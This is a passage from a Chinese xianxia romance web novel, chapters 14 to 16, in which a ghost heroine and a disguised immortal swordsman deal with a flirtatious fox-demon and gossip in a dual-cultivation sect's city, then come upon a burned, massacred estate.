若是楼中弟子长期居住的房间,一般在入住时就会更改解阵香,自己制香谱,相当于“钥匙”只有自己有了。而瓷瓶,要多少就能做多少,平时自己用,少数情况也可以赠与他人。
这房间的解锁原理,追根究底,和听香楼修炼的功法分不开。
瓷瓶一般都会赠与双修对象。
这样,双修对象想进来,不用屋主亲自去接,更……便捷。
但像乔洒松那种有身份有地位的人,不仅绝不轻易给出瓷瓶,还会在房间内设置精神掌控,外人就算有解阵香,也不能在房间无人时未经屋主允许随意进出。
这样的房间称之为“领域”。
而像金露阁这种临时客房,不仅负责接待客人的大小管事弟子有瓷瓶,一些得势的弟子也有。
毕竟是听香楼的客房嘛。
修士来听香楼留宿要干什么不言而喻。就算真是来干正经事的,能在绛楼留宿,那绝对是位高权重,实力强大。听香楼自然要为自己的弟子谋点福利。
很明显,姬瀛丘是逼着人家听香楼弟子交了解阵瓷瓶,又往死里威胁,为才找到这的。
李甜甜看了看那个红得要命的公子,默默扶额。
这他爹的,还嫌不够乱吗……
这边的人看见姬瀛丘,本来“火热”的气氛直接僵住了。
江妄:晦气。
游不年:晦气。
陌离:……
姬瀛丘抬头看过来:……晦……啊呸!
他调整了一下表情,笑若秋菊,张开双臂,朝着江妄的方向一跃,两只红袖滑至肘部,只余护腕裹着里衬。他手里抓着的那个弟子,啪哒一声掉在了地上,
他夹着嗓子大喊了一声,“江姐姐~~~”
地上的人:@#*……
喊完这腻的要死的一声,他一偏头,就看到了自己心心念念要找的游美人儿。他眼珠子转了转,又瞅瞅江妄,好像明白了什么。
看着江妄和游不年之间暧(剑)昧(拔)非(弩)常(张)的气氛,红蝴蝶颤抖着抬起手指向江妄,“你……”
他调转手指的方向,又颤抖着指向游不年,
“……喜欢这样的?”
14. 第 14 章
“原来……原来你总拒绝我,是因为……”
姬瀛丘一抽鼻子,“因为我还不够放得开啊……”他拉起红红的袖子做掩面欲泣状,要多假有多假,要多刻意有多刻意。
江妄:……
“鸡公子,你要对自己有个清晰的认识啊。”江妄呵呵假笑两声,
“而且吧,我这个人呢,看问题一向不浮于表面,只究其根本。”
她咬重了“根本”二字,挑眉看向游不年,惹得游不年又是一阵磨牙。言外之意就是说姬瀛丘和游不年,论骚气,大哥不说二哥罢了。
江妄回头,目光锁定了那个拎着长剑,略低着头的人,她扬起一个大大的笑,几步走到他身旁去,一把搂住他的胳膊,
“你不也说了?我有新欢了。”
江妄身量不矮,若是站直了,和陌离也就差半个头。此时她为了看他垂着的眼睛,轻歪身子侧仰着头,紧紧和他对视,直盯的陌离抬起头来。
江妄得逞一笑,随他动作直起身子,视线却没有移开陌离的眼睛,
“当然是,喜欢这样的啦……”
姬瀛丘依旧抱着袖子,一副泫然欲泣之姿,“你当时不是说,他是你新招的学徒吗……”
“是啊,”江妄歪头直接靠在了陌离肩上,“跟我学谈情的啊。”
陌离垂下了眼眸。没回应,没反驳,没解释,没动弹,就那么任江妄抱着。
……
游不年看不下去了,一个瓷瓶出现在手中,他动作发狠地迅速拔开盖子,一甩袖子,整个人直接消失了,只余一个瓶盖在地上滚了两下。
“诶,年啊,等等我!”姬瀛丘可能是看江妄这头没戏了,抱着能捞着一个是一个的心理,转头准备去追他的游美人儿。
他把之前那个被他扔地上的听香楼弟子拽过来,抓起人家袖子使劲往里掏着,直到那个倒霉催弟子双手奉上个瓷瓶。
姬瀛丘身影消失,然后,又留下一个瓷瓶盖。
这年头,都这么爱乱扔垃圾?
那些追着姬瀛丘来的弟子纷纷行礼,嗖嗖嗖地消散不见了。
李甜甜:“师姐,那个,你还……还上……吗?”
江妄怀里陌离的手臂一僵。
那个抱着琴的白衣公子红着脸上前,“师姐……”
江妄怀里的手臂被它主人抽了回去。
江妄:……
稳住,
本鬼王什么场面没见过?
江妄慢条斯理道,“我呢,不过跟妹妹开个玩笑,看看听香楼招待我们的态度而已。”
人家因着遥岑是总辖,敬她一句师姐,她还真叫人家妹妹,也不怕折寿。
啊对,她江妄怕啥折寿啊,哪还有寿……
“哪想啊……唉……太让人失望了。”江妄话风一转,晃着脑袋好似自言自语,“这回了遥岑宗之后,可要怎么汇报呢……唉,犯难啊……”
陌离:……她戏没完了?
李甜甜却当了真,冷汗直淌,满脸赔笑着,
“师姐啊,游师叔是我们听香楼的个例,个例啊,平时柳掌事都说不听他。听香楼绝对没有冒犯遥岑宗的意思,还请师姐明鉴。”
说完她往江妄身边凑近了些,小声道,
“师姐有所不知,这游不年和贵宗的原汀师兄嗯……有些往事,所以对遥岑宗多少抱有偏见,您大人有大量,理解理解他啊……”
行,这一番话说完,江妄要还是不满意那就是江妄不懂事了。
但现在,找茬已经不是重点了。只见江妄满眼都是八卦,“往事?”
--
总体上来说就是就是:游不年和遥岑宗的大师兄原汀春风几度过,动了真心了,结果原汀跑了。游不年自然怨气冲天,张嘴闭嘴骂的都是遥岑宗虚伪无情。
谁能想到,见惯风月的听香楼弟子,却是个大情种。他表面好像是恨透了原汀,实则自原汀走后,他再也没和别人修炼过。多少年了,修为还停在结丹境不动。
游不年于合欢一道天赋奇佳,年纪轻轻就结了丹。当年翾风娇子黄栖权还在的时候,特别的看好游不年,虽不是师徒,却十天有八天都是和他修炼,以至于游不年的辈分都比旁的弟子高出了一截,被尊称一声“师叔”。
那时,乔洒松一百多岁的结丹境半路出家来了听香楼,还是那样一副尊荣,尽管身为乔家大少多被听香楼优待,也少有人与他同修,难免被人奚落。
游不年帮他说过话。
那时的游不年三十出头已是结丹境,是整个听香楼的天骄。
可四十多年过去,乔洒松摇身一变登上化神,成了乔大香主,游不年却还是那个结丹境。
旧时的一句抱不平,游不年可能自己都不记得了,乔洒松却记得。所以后来原汀走后,游不年拒不与他人双修,是乔洒松和柳掌事说了一句“随他吧”,便是翾风娇子也不能强迫游不年修炼了,大家也依旧称游不年一声“师叔”。
这一次过来见江妄,估计是听说来了遥岑宗弟子,才来看看的。
--
当然李甜甜是不会和江妄说这么多的,只是说了个大概,她以为江妄真是遥岑宗的,提到原汀时,用词都是很委婉。
尽管如此,江妄也听懂了。嗤嗤……大情种啊,怪不得说话那么冲。看他怎么惨,本鬼王就不计较他的冒犯了。
八卦欲得到了满足,江妄在得到了一整个空间戒指的金露阁解阵瓷瓶后,很大度地让李甜甜带着那群俊男美女走了。
……
李甜甜刚带着那些弟子踏出金露阁,就有女弟子抱怨,“什么嘛,亏我还以为今天能和那个小哥哥来一段呢!”
李甜甜一改在江妄面前的恭顺,冷声道,“你可真敢想。没见那个师姐护得紧?”
女弟子还是满脸不爽,“什么护得紧?”
这次李甜甜没回答,是那个白衣抱琴的男弟子开口,“烟儿啊,等你结丹就能看出来了,那个师姐喜欢她师弟。”
他想了想又说,
“嗯……就算不是喜欢,也是想和他上床的。而这两位都是处子,一看就还没捅破窗户纸儿,你师姐就是看出这一点,才把他们安排到金露阁的……”
听到这,李甜甜横了他一眼,打断道,“知道你还往前凑?”
“那有什么,”白衣公子彻底褪去了他的清冷面具,哼笑道,“她想和她师弟做,不代表不想和我做啊,我可不介意。”
李甜甜呵了一声,
“之前游不年非要去,我拦不得,你们就一个个起哄都要去,我拿不准那师姐的意思,也同意了。”她停下步伐,转过身正色说道,
“现在看来,这两位,是一对儿,你们可都收收心思。那是遥岑宗的人,楼里什么情况你们看不出来吗?等色迷心窍丢了命,别怪我没提醒。”
李甜甜身形一闪消失了,其余弟子也都各自回房了。那个叫烟儿的女弟子叫住白衣师兄,“潇师兄!”她
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小跑过去拉住他,“留步,留步。”
“嗯?小烟儿。”他蛊惑一笑,“怎么,想到师兄房里听琴?”
女弟子闹了个红脸,显然是和这潇师兄比段位还不够。她声若蚊蝇地应了一声,才想起自己要问的,“师兄,为什么结丹就能看出来那个师姐喜欢她师弟呢?”
潇师兄打开一个瓷瓶带着她回了自己房间,也耐心解释道,
“结了丹,就算脱离了凡胎,所以结丹境是修士具有标志意义的一个境界。像剑修,结了丹就能御剑而行,甚至修出剑灵。
而咱们练的都是合欢道啊,结了丹,自然是于双修一事上更为敏感。天赋好的话,不仅能感知他人是否对自己有欲念,如果一个人对他身边的人有欲念,也能看出来。”
“诶?这样吗?”女弟子说,“可你们怎么知道她是喜欢,而不是单纯意动呢?那个小哥哥简直是极品,见过他的谁不想睡?”
“所以一开始你师姐也不确定呀。”
“嗯?”女弟子疑惑。
“烟儿,也许等你结了丹,就能轻易地看出他人的欲。可是,‘喜欢’却不是靠这个看的。”
“那是靠什么啊?”
潇师兄轻轻笑了。他没再回答什么,只一把揽住了女弟子的纤腰,惹得女弟子轻呼一声。
喜欢,是用心看的。
……
--
“公子,那什么原汀你认识吗?他真那么渣?”江妄好奇得很,忍不住问陌离道。
陌离不语。
江妄强拉着他到床边坐下,“说说嘛,哎呀说说嘛,说说……”
“遥岑宗无人不识原汀师兄。”陌离架不住江妄没完没了的重复,开口说了一句,但也没忘记自己“遥岑宗黎墨”的人设。
啧,还师兄……
但按陌离的性子,能叫出原汀的名字,就说明他一定认识原汀,说不定还是熟人。
没等来陌离的下句,江妄自己积极开口,“所以说呢?这事是真的吗?”
“是真是假,师姐不知道?”陌离语气一如平时般不带什么情绪,却好像略略加重了“师姐”这两个字。当然,这是江妄听得特别仔细才发现的。
……
“哎呀公子啊,我那不是为了方便查案吗?”江妄一脸真诚的看着陌离,陌离一双琉璃眸也清清地看着她。
江妄战败,“好吧,是我无聊。我错了,公子。”江妄撇撇嘴,认错得干脆,然后死性不改地磨人,“你就告诉我吧,不然我几天都睡不好觉……”
陌离没有说关于原汀的事。他并不清楚他这个师侄的私事。
只说,“既以情牟利,便应舍情。”
……
江妄听了这一句却骤然笑了,语气怪异,
“按你的意思,是游不年自作自受,与原汀无关了?”
陌离没再搭言,但此时沉默就是赞同的意思。
“呵。”江妄骤然翻脸,猛地站起身,掏出一个瓷瓶闪身离开了金露阁。如此喜怒无常,让留下的人多少有些莫名。
站在绛楼外,江妄一身戾气压都压不住,她抬起一只手捂住脸,疯狂的嘴角透过她的指缝露出来,根本遮不住。她迅速找了一个僻静处,身子再也站不稳般后仰,诡笑声就要从嗓子里溢出来了,她只得两只手死死卡住自己的脖子,弯下腰去。
不知道过了多久,带着笑意的嘶哑音调从她嘴里飘出来,
“还真是,无情啊。”
15. 第 15 章
“呦,江姐姐这是怎么了?”一声询问从身后传来,语气里全是假情假意的关心。
江妄扣在脖子上的手僵了一瞬,眸中浓重的黑气散去,视野被拨开迷雾般清明许多。她缓缓直起身子,放下双手,从容地转过身。
是一身红的姬瀛丘,正用一副看热闹的神情瞧着她。
江妄控制嘴角维持一个较为正常的弧度,“鱼刺卡嗓子了,咳一下。”
“哦~那江姐姐咳出来了没?”姬瀛丘没去揭破江妄,顺着她的话说道。
他们刚分开才多久?江大顺就能吃了顿饭,还卡刺?这理由编的也太潦草……
“多谢关心,已经没事了。”江妄也一脸假笑。
“没事就好,”姬瀛丘低声道,下一句却画风一转,吊着眉梢意有所指,“不然这大白天的也太吓人了。”
江妄闻言眼神深了一些,却温和地笑笑,“姬公子,你知道什么人活得长吗?”
姬瀛丘却像是听不懂江妄的威胁,神情不变,
“别人活多长我管不着,但陌离,不能在我眼皮子底下活的太短。”
竟是认识陌离的,也难怪。
江妄手中魂力涌动,她叹了一口气,“不听劝啊。”
“等等……等一下,”姬瀛丘刚不过一秒,呵呵怂笑两声,“我没别的意思!就是……就是你跟着他干什么啊……”
“你是他亲戚?管这么宽。”江妄本也没想怎样,顺势收起魂力。
“那,没准就是呢……”姬瀛丘又是干笑两声。
“姬公子,你只需要知道,陌离什么亲戚都没有我和他亲。”既然姬瀛丘挑明了陌离的身份,江妄在他面前也不装了。
姬瀛丘收起笑容,一双凤眸认真地看着江妄那双黑气未尽的眼睛。
夕阳已残,天边最后一点光线还在勉力支撑。而那双眼睛已经把执着异变成疯狂,黑瞳炯炯,血丝遍布浑浊了白仁,好像每一条血丝都连着主人生前那颗执迷不去的痴心。
姬瀛丘明白她为什么跟着陌离了。都说鬼不会离它的执念太远。
而这双眼睛告诉姬瀛丘:为了执念,她什么都做得出来,没有任何东西拦得住她。
他这表弟,也是该有一劫吧……
这样的人,这样的事,不是他姬瀛丘能管得了的。
……自求多福吧。
只见姬瀛丘又恢复了那贱兮兮的模样,他只可意会般地冲江妄挤眉弄眼,
“你亲!你天天亲!你和他最亲行了吧~”
江妄也恢复了正常状态,现在任谁来看,她都是个人类姑娘。她往街上走,边走边说,“你怎么也出来了?被游不年打出来了?”她随口嘲笑道。
“诶呦我的好姐姐,您就别在我伤口上撒盐了吧。”姬瀛丘顺着好脸儿下台阶。
“啧,那游不年心有所属你不知道?”江妄逛着,时而拿起感兴趣的东西看,看中了什么东西,还想买下来。她掏出帷帽带上,又变出灵石来。
“知道啊。但我就喜欢挑战不可能。”姬瀛丘答着。不经意转头,他定睛一看,我去……这鬼又开始骗人了。大姐,这是听香城啊,还是绛楼附近的街市,你是真不怕啊……
他赶紧按住江妄递出的灵石,自掏腰包买了那个三道铭文附着的镂花银铃,这个鬼就很开心地摘下帷帽收起来。
然后,一发不可收拾……
这鬼的购物能力,一点儿不亚于自己……眼光还好。全不便宜啊!不是说他姬瀛丘小气,只是,这不得不给人花钱还捞不着半点好儿的事,他憋屈啊……
就在姬公子的晶卡要刷爆日额度的时候,陌离出现拯救了他。
听香城的街市最是繁华热闹,天有些暗了,各处都上了灯。三三两两的人结伴而行,各自寻欢,脸上不论真假都是挂着笑意的。招呼叫卖声不住,人们说话若是不用传音符,就得扯着嗓子、扒拉着耳朵喊。
一个最平常的玉器摊子前,两个公子抢着为一个白衣姑娘付账。
这真是最平常的一幕了,行人偶有注意到的不过也是摇摇头,走自己的路去了。玉器摊老板对这种事也早就见怪不怪了,不同的只是今天这狗血中心的三位主角,个个好看得过头了些。
一开始相携来的那两位,男的红衣潋滟妖异张扬,女的白衣袅袅清灵出尘,他冷不丁一打眼儿都有些惊着了。他在这听香城做生意,还是在绛楼附近,什么美人没见过,可这两位的容貌气度,比他见过最上乘的那些修士还要盛上许多。
而后来不知道什么时候突然出现的这位墨蓝劲装的公子,更是……恍若天人。
玉器摊老板记得,正当他看着这位公子回不过神儿的时候,一柄翠绿色的长剑就那么唰一下飞起来指着那红衣公子的眉心。
那剑灵秀得很,又细又长,剑身线条流畅,宛若一枚晶莹柳叶。可偏是这么俊的灵剑,此时却好像裹着整个雪境的冰雪,至利至冷,活活冻住了这摊前的空气,他那摊子上那些品质差一点的、没什么灵力蕴含的玉器,全都咔嚓咔嚓地裂开了来。
他一个不在灵剑攻势范围里的人,已经被那摄人的寒气冰得脚软,那位被灵剑直指的红衣公子面对的又该是怎样的压迫?
姬瀛丘却不像老板想象的那般可怜,他的修为虽然大多是被灵药堆出来的,比之同境界有点虚浮,可他到底是练虚境大能。陌离从前再怎么厉害,现在也不过元婴修为,减翠的剑气是凶,就算是化神境也要费点力气才接得住,可姬瀛丘是练虚,怎么说都大了他两个境界。
不过姬瀛丘也没觉得他这个还没相认的表弟在挑衅他。
其实事实根本没有玉器摊老板想象的那么夸张,不过是江大顺这鬼又看上个冰玉扇,姬瀛丘刚要含泪掏钱,陌离不知怎么突然出现帮鬼付了灵石。
姬瀛丘就立刻从善如流地收回掏钱的手,并感动得快哭了:陌离啊,你可算来了啊,赶紧把她领走吧!赶紧!!!
就是这减翠怎么对准了他?他有点摸不着头脑。不过他也没太在意就是。
直到陌离开口,他才明白……
“这位……”陌离开口打破凝滞住了的空气,减翠却没收回,仍直直地指着姬瀛丘眉心,“我没看错的话,并非人族?”
姬瀛丘点头,一脸自豪地自报家门,“我可是虞山姬家的少主!”
“那,这位少主,还请你遵守律法,离我师姐远些。否则,”陌离双眸无神,一身冰冷,说出口的话更像是淬了冰渣,
“我可以代表遥岑宗废了你的妖骨,剖出你的妖丹。”
……
姬瀛丘终于有点意识到不对了。
平时,因为他太欠揍,经常被人甩脸,被拿剑指着也稀松平常。但大家都是半开玩笑的,没有谁会动真格,姬瀛丘也喜欢和人玩闹。
可陌离刚才却不是开玩笑。他能感觉到,刚才有一瞬间,陌离是真的会杀了他,真的会就在这大街上杀了他这个虞山的少主。
这凶狠劲儿,简直就和一个时辰前江大顺那鬼死死盯着他的时候一模一样!真是不是一家人不进……啊呸!鬼的一家人……
骗骗别人也就罢了,真能耐啊,连你哥都要挟!不识好歹,不辨好坏……还“师姐”?她一个练虚境以上的厉鬼,是你
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哪门子的师姐?!
姬瀛丘心里万字狂喷,面上却一句都不能说,怎一个憋屈了得?还得好言好语解释,
“呵呵,公子说笑,说笑。我和江姐姐只是好朋友,那些话都是玩笑的,当不得真。”他笑得像朵花一样,
“我可是守法好妖,人妖相悖的道理我自然是懂,公子快把剑收了吧。”他试探地抬手,轻轻拔开减翠的剑尖。
减翠回到了陌离手中,他还是并不聚焦视线,眼里荒荒的,好像在看姬瀛丘,又好像不是,“劳烦这位……少主,告知师姐的花费,不然真是遥岑失礼了。”
江妄刚才一直在看戏,听到这才拉了一下陌离的衣摆:让他付呗,他活该。
陌离却没理,径自垂下了眼眸。
姬瀛丘一听陌离这话,心中大笑一声老天开眼,忙不迭拿出晶卡算了起来,然后没等江妄有下一步阻止的动作,直接把数报给了陌离。
陌离痛快给了灵石。
江妄:……
“离远些。”陌离交完灵石,又语气平静地重复。
姬瀛丘一脸灿烂的笑,“远的远的!我这辈子都不和她来往呢!”他就差拍着胸脯保证了。说完他转身就撤。
陌离啊,你真是白担心。就这倒霉玩意儿,你爱要你赶紧带走,我绝对不和你抢……姬瀛丘在心里吐槽。到了这一步,他还怎么不明白他这表弟的心思。
行吧陌离,我是不管了。
是人是鬼,是福是祸,你自己担着。
另这边,江妄看着陌离在大街上装完x,正准备拉着他潇洒离场,突然被身后一个阴森的声音叫住。
“赔…钱……”是玉器摊老板。
江妄陌离回头一看,碎了一堆的玉器。
……
一临街酒楼的雅座里,陌离与江妄对坐,二人谁也不说话,安静吃饭。
陌离不说话倒是正常,可江妄也没针对刚才的事逗陌离几句。
要是往常,但凡陌离说了什么做了什么,江妄都要百般曲解,非逼得公子低下头去不可。可这次,陌离这么奇的做派,江妄却一点儿都不发挥了,真是怪哉。
店家上了一壶杏花酿,陌离主动给江妄斟了一杯,然后给自己也斟了一杯。他把酒壶放在桌上,
“人妖相悖,到头总是一场空的。”他语气平静开口,“不值。”
江妄听到这话并没有立刻说什么,她饮尽了杯中酒,才抬头直视陌离的眼睛,强迫他把眼神聚焦。
“不值?”
她嘴角噙笑,不经意般却说出无比执拗的话来,“若真心所求,如何不值?”她神情一凌,加重了语气,“怎么不值?”
……
人妖相悖,世所不容。这条铁律没有谁比陌离更清楚。
她绝对不能和妖在一起。
众人皆有苦,因果循环,生生不息。可这世间的孽,不要多她一个。
“早知定要离散,还去强求,便是不值。”陌离的语气好像永远那么平静。
“哈。”
江妄笑了。
江妄常笑,可没有哪一次的笑像这次一般,像是笑出那些早已恨到骨子里的无望。
她笑时裂开了嘴,唇舌艳红得像是含了满口的鲜血。那双明眸弯弯,漆黑眼珠却像是钉在了眼眶里,动一下,都是痛不欲生的泪。
戾气横生。
但此时好像连疯一场的力气都没有了。
“我的公子呀……你不懂。”她只能哑着嗓子很轻很轻的说,轻到几不可闻,像是气声一般,“就算强求不值吧,”
“但不能不求。”
16. 第 16 章
陌离蹙紧了眉,她到底知不知道自己在说什么?
--
自古以来,人族和妖族就和睦相处,各自相安无事。
一人一妖可以以兄弟姐妹相称,甚至可以认作义父子。但是,人和妖绝对不能成为伴侣。
这是铁律。
其实人和妖偷偷谈恋爱,最多也只是道德上被谴责。因为感情上的事,界定本就很模糊。
但要是生出孩子来,就是犯罪了。而且是重罪。
因为半妖是为世所不容的存在。
半妖,是世界上最丑恶的东西。就连魔化的鬼都要比半妖好看百倍。
他们的是畸形的。畸形到有限的生物智慧难以想象。
从前有一只鲛妖和人生出了个半妖,那半妖被执法宗门抓到公开处以雷刑的时候,很多修士都看见了。
那个婴孩状态的半妖,软黏的鳞片稀稀疏疏长在黑青的皮肤上,连脑袋上都是,有些鳞压着头发长,黏成一块一块。它没有人类的四肢,躯干上绕着巨大的鳍,脸上一只人眼一只鱼眼……其余种种更是不堪描述。
人没什么,鱼也没什么。但这两种生物不规则组合到一起就是万分瘆人了。
还有玉琴生了灵智修成人形的妖和人族生出的半妖。
它虽没有上面说的那个半妖瘆人,但也相当诡异。它就像是一块玉石雕成的人类婴孩。区别在于这块玉石会动、会哭,割开外面那层玉看,里面还流动着温热的血。
有些妖化能出人形,能与人生子。可孕育生命时他们血脉里刻着的种族特征就会显露,生出的半妖就像是他们原型与人的拼接品,结果可想而知。
但若光是外形丑恶,倒也不至于这般的为世不容。
是因为,半妖,有一个算一个,个个都是极其罕见的修炼天才,天才到一定会修至大乘境。
而最关键的是,他们天生就没有正常人族妖族该有的感情。
无论他们学了多少仁义道德,无论他们被多少人关爱照顾,他们也永远不懂,感情是什么。
这是一群里里外外都像是怪物的怪物。
而且还是一群战力超强,能只手遮天的怪物。
焉能容它?
历史上有段时间半妖横行,那时半妖在人们心里是比魔还要可怕的存在。最后,是温政南仙君出世,穷其一生诛尽半妖,风雨才歇。
后来,人族妖族共同写出一道律法:
人妖相恋,天理不容。
半妖出世,雷法诛之。
--
所以,若是真有人族非要与这虞山姬家的少主在一起。那不叫强求,那叫求死。很有可能求的还是生不如死。
当客观残酷到一定程度的时候,主观就显得太无力了。在早已注定的条条死路上,多深的情义都没有任何作用。更何况大多时候,“情义”不过是一句空话。
这些死路,自诩深情又不甘认命的前人已经帮她走过了。无一不是惨烈收场。
棒打鸳鸯可谓闲事中的闲事了,陌离说不清自己是怎么想的。他可能是想她好吧……
什么又算“好”?他更说不清了。
他只知道,他眼前这个姑娘是吃不得死路上的悲苦的,也不该去吃那样的苦。
而她扯出来的那个笑,把她身上所有的明媚热烈都给熄灭了。
像黑暗中的红色曼陀罗,凝出了所有的血腥华丽,却无声昭示着破败与灭亡。它背靠绝望土地长出的美,让人看后只余凄惶。
陌离眼神紧紧聚焦在她唇边的笑上,呼吸一时滞涩起来,他忽略了不知道多少年的心跳声突然急速地响在胸腔里。
因为他意识到,她已经为此吃苦了。
陌离觉得很难受,他不明白这些难受从何而来。又或者其实是这些难受的成分太复杂了,陌离一时算不来。
他张了一下嘴想说什么,想否定她所谓的强求论,想和她说话好把她从那个遮住光芒的笑容里拉出来,可最后却闭上了嘴。
罢了,他总是说不过她的。
她若实在执迷,自己杀了那只狐妖就是了。
“想通了”的陌离便也不再劝导,执起酒杯,转头看向窗外,双眼渐渐又变得空洞。
堂堂仙君,行事如此野蛮不讲道理,完全不把他遥岑宗制定的律法放在眼里,说出去都没人会信。
温雅高洁、修者表率,那说的是陌离仙君。而现在和江妄对坐的这位因麻木而显得冰森,琉璃眸中带着不通人情的残酷的公子,才是陌离。
……
就在两人无言这会儿,楼下街市里乱起来。听香楼的弟子一改往日曼丽之姿,个个穿的严严实实,面容冷峻,手执武器地在快速疏散街道。
陌离依然目光空洞地看着窗外,好像这样的骤变引不起他丝毫的注意。江妄却收起那些腐败的情绪,转头看向窗外。
那些弟子的站位看似连成一条直线,细究下来其实是有些微弧度的,他们原地摆开灵石,又拿起手中武器以灵力绘就图符,动作整齐划一,极具观赏性。清空路人的街道上,突然升起一堵灵光流转的墙,江妄抬头看向上空,黑沉的天上隐隐有流光闪过。
出事了啊。
听香楼封锁了眼前这片区域。
江妄和陌离所在的酒楼并不在封锁的范围之内,眼看灵墙越来越高,阵要成了。
等真被锁上,再想进去可就麻烦了,江妄看了陌离一眼,见他没什么反应,一时有些无语。只好主动提,
“去看看?”
陌离却还是那双呆滞眼,像没听到似的,完全沉浸在自己的世界里。
……
大哥,是你历劫还是我历劫啊?麻烦稍微认真一点好吗。
江妄今天心情不太好,懒得废话扯皮。她身子跃起,一脚踩在窗上,同时倾身越过桌子,一手揪住陌离衣领,把他扯离了座位。她这些动作连贯无比,都发生在一瞬间。因呆滞而反应迟缓的陌离直到被江妄带进了封锁区域的上空,才堪堪反应过来。
结阵弟子:刚才天上是不是有个白影飞过去了?
同门抬头:哪呢?你看错了吧。
结阵弟子:哦,那可能是我看错了……
陌离轻微地抬了一下脑袋,想缓解一下被衣领勒的酸痛的脖子,但好像起不到什么作用。
他知道她生气了。
这个认知让他觉得有点胸闷气短。
是因为自己好心不被理解吗?还是着急她执迷不悟?
不满那只狐妖肆意招摇勾了她去?
厌倦这世间种种规则,因果不休?
……
又或者很简单:
她在难过,他不知怎的就也跟着难过了起来。
这种感觉太糟糕了,比起最近所有莫名其妙的情绪加起来都要糟糕。焦躁夹着恼火,难过却无法发泄,隐约好像还有那么些微的恐惧。
陌离不懂这种感觉是什么,他任由白衣姑娘揪着他的衣领,像拎着东西一般拎着自己。突然,众多情绪中恼火被放大了出来。
原来,这就是生气的感觉吗?
当真是不好受的。
她,就是为了那个狐妖,这么不好受吗?
陌离霎时涌起无限杀心。他从来没有这么强烈地想要过谁的命,想要谁消失在这个下界。
他知道自己最近很反常,而这些反常大多都与这个白衣姑娘有关。若是以往,陌离一定杀了她,但……
但现在,陌离就那么任由她揪着衣领。
--
江妄和陌离飞身前进在黑夜中,四周都是一般的景致,仰头看看,星还离得很远。突然,不知道是先看到了那鲜明的火光,还是先感受到了那直逼夜空的隐隐热浪。江妄带着陌离落在地上。
夜风中,橙红色的烈焰疯狂摇曳着,入目的只是一整片汹涌的火海。在这样黑沉的夜里,它们夺去了月光所有的风头,张狂地笑着。
又是一阵比一阵更猛烈的风,火舌也配合着一点点爬上宅院的大门。砰,好像到了极限……
一张刻着“乔宅”的匾,失去了最后的支撑,轰然落进了熊熊大火中。
江妄他们落下的位置比较远,并不受火势影响。只见一群听香楼弟子正上上下下全方位地救火,组织的、运水的、施法的、破阵的、报告的……每个人都使出了浑身的积极性。
因为,这着火的宅子,正是他们现在唯一的大香主乔洒松的家族,乔家。而乔香主本人还正在乔宅门口站着。那当然要使尽浑身解数地表现了。
众弟子都忙着救火,只乔洒松那么站着,突兀的一眼就能看到。
他站在一个离火场不远不近的位置,是个会有灼热感,但不会被烧到的距离。他布满肥肉的脸上光影明暗,江妄离得远,从侧面有些看不清他的表情。
家都被烧了,还这么干站着,真不是一般的淡定。江妄也是佩服。
突然,一个人飞身从火场上方下来,迅速冲着乔洒松行礼,“香主,空间封锁已
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经解开,我们的人已经进去了,只是……引火阵破不掉。”
那人抬头,江妄看清楚了,呦,是负责招待他们那个小姑娘。
乔洒松沉默了一阵,只说了一句,“继续破。”他的声音像是从嗓子眼里挤出来的,转瞬又隐没在了烈烈火中。
李甜甜得命正要回去,却看到了江妄他们,立刻朝着江妄行礼,“师姐。”
乔洒松也转身看了过来,可能是出于礼貌,他对江妄他们露出一个笑来。
他以燃烧着的乔宅为背景,笑了一下。那满面的肥肉挤压得难看,双眼已然成了两条缝儿,看不见半点神采。
江妄回以一笑,刚想说自己可以破了这个引火阵。一道凌厉的破空声传来,一柄墨色重剑不知道从哪飞了过来,直冲着乔宅里的某个屋顶扎去。突然,整片火海剧烈地摇晃了一下,然后火势肉眼可见地小了起来。
引火阵竟是破了。破得如此轻易。
江妄不由得回头去看,却只来得及看见一片墨色衣角从自己眼前划过,奔进了火海里。
乔洒松也是一愣,他喃喃道,“毕宿剑,是梁道长。”
……
火,那好像要焚尽世间的烈火,终是灭了。
乔洒松抬起僵住了的腿,走进了这片废墟之中,江妄他们紧随其后,跟着进去了。
他们闭气踏着焦土走进去,处处断壁残垣,灰烬沾染了江妄白色的裙角。有些火苗还苟延残喘,趴在未燃尽的木料上。
遍地烧焦的尸块,已经不分彼此,亲密地挨在一起。
对,是尸块。
是有人用端掉那个人贩子团伙的手段,灭了乔家满门。又放了一把大火,要把乔家烧光,甚至下了空间封锁,拖延被发现的时间。
假如人贩子团伙满地残肢是玉兰干的,那乔家此刻的惨状又是谁所为?毕竟玉兰已经死了,死在江妄眼前,魂飞魄散。
当然,也可能犯下这两起案件的根本并非同一凶手。玉兰端了人贩子团伙,而灭乔家的凶手另有其人。
可江妄更倾向于这两起灭门案是同一人所为。
没有什么证据,但江妄就是这么觉得的。
因为无论是在汝陵弄出干尸的金银花,还是听香楼食人内脏的玉兰,还是溢庆城那个直接吞尸的目前不清楚是什么的植物妖,都是一个妖一个作案手法,都有明显的特色。更像是在打卡工作,不太像又会去做下灭门案的样子。
而眼下的乔家,除去多了一场大火,那遍地混乱堆叠着的尸块,简直和人贩子据点最后的留影记录里一模一样。
如果这两起灭门案真是同一个凶手做的……
凶手能大咧咧地放着那个人贩子团伙据点的满地残肢,说明根本不怕留下痕迹。那他为什么偏要放火烧了乔家呢?
边想着,江妄跟着乔洒松往里走,他们拐进了一个院子。这院子现在是烧的不剩什么了,但从格局风水来看,从前定是个清净雅致的好地方。
院子的正中央,是一棵被烧得光秃秃的大树。
树很高大,那种少见的高大,哪怕现在没了枝叶,也能让人想象出从前荫蔽整个院子的模样,应该是棵珍贵的灵树。
光秃秃的灵树下面站着一位黑袍道长。他的身形仍是那么瘦削,满身落拓地站在那。
一阵沉重浑浊的风吹过,带起了道长鬓边散落的发。
他一反平日左手执剑的习惯,右手拄着,好像满身的重量都压在那柄剑上了,并不理会被吹得凌乱的发丝遮挡了视线。只把左手直直伸出,似乎想要碰一碰那个表皮被烧焦的树干。却是始终没有真的摸上去。
那树干粗壮,一百个梁道长捆在一起都没有它粗,如今被烧得狼狈,却好像仍然能带给树下的人安全感。
乔洒松也看见了梁天疏,走上前想要道谢。
可这梁道长察觉到身后有人走过来,却是骤然收回左手,猛地转过身来,以一个戒备的姿势对着乔香主,好像在护着身后的什么东西。
乔洒松看着梁道长这副姿态,也有些摸不着头脑,只能呵呵一笑,
“多谢梁道长出手,梁道长大义!这次多亏了有您在啊,要不然也不知道这引火阵什么时候能破……”
